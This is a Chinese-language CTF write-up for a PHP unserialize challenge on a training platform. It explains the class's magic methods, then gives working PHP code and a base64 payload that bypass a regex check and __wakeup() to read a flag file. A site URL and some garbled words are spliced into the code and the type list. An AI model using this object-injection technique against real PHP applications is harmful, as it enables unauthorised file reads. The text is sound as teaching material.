php安全攻防世界unserialize函式反序列化示例詳解
步驟
首先開啟題目,發現給了一段原始碼:
分析原始碼,發現類裡面有三個魔術方法:
__construct()
:建構函式,對類的變數進行初始化,建立時自動呼叫,用得到的引數覆蓋$file
__destruct()
:銷燬時呼叫,會顯示檔案的程式碼,這裡要顯示fl4g.
__wakeup()
:在進行反序列化之前會呼叫,會把$file重置成index.php
正則表示式的含義:o或c開頭,冒號,一個或多個數字,不區分大小寫
ok,分析完畢:我們要將序列化後的字串進行base64加密之後進行get傳參到var變數即可
但是這裡我們可以看出需要繞過__wakeup()
函式以及正則匹配,才能夠拿到flag
__wakeup()
方法繞過方法:當成員屬性的數目大於實際數目的時候即可繞過此方法
正則匹配我們可以使用+來進行繞過
程式碼:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file,true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; http://www.cppcns.com} } } $a = new Demo("fl4g.php");// 傳入我們需要顯示的檔案 $b = serialize($a);// 進行序列化 echo $b;// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} $b = str_replace("O:4","O:+4",$b);// 繞過正則匹配 $b = str_replace("1:{","2:{",$b);// 繞過__wakeup()方法 echo base64_encode($b);// 進行base64編碼並輸出 ?>
payload:var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
成功拿到flag~
注意:這裡有個坑,要是直接將序列化之後的字串進行手動修改再去找線上進行加密則會發現編碼之後和我們payload裡的不太一樣
這是因為file變數為私有變數,所以序列化之後的字串開頭和結尾各有一個空白字元,而我們在對序列化之後的字串進行輸出時,瀏覽器則不顯示空字元,如圖:
細心的朋友也會發現Demofile只有8個字元,而長度卻顯示10。
所以正確的序列化字串應該是
O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
而我們由於是使用php程式碼直接進行編碼的,全自動化,自然不會漏掉空字元。
解釋一下php序列化字串的格式:
首先物件型別分為以下幾種
a - array b - boolean
d - double i - integer
o - common object r - referencMGdoye
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
格式:物件型別:長度:"類名":類中變數的個數:{型別:長度:"值";型別:長度:"值";......}
總結
考察對php中魔術方法的熟悉程度,以及反序列化的應用
以上就是攻防世界Web php unserialize正則表示式反序列化詳解的詳細內容,更多關於php攻防世界unserialize正則表示式反序列化的資料請關注我們其它相關文章!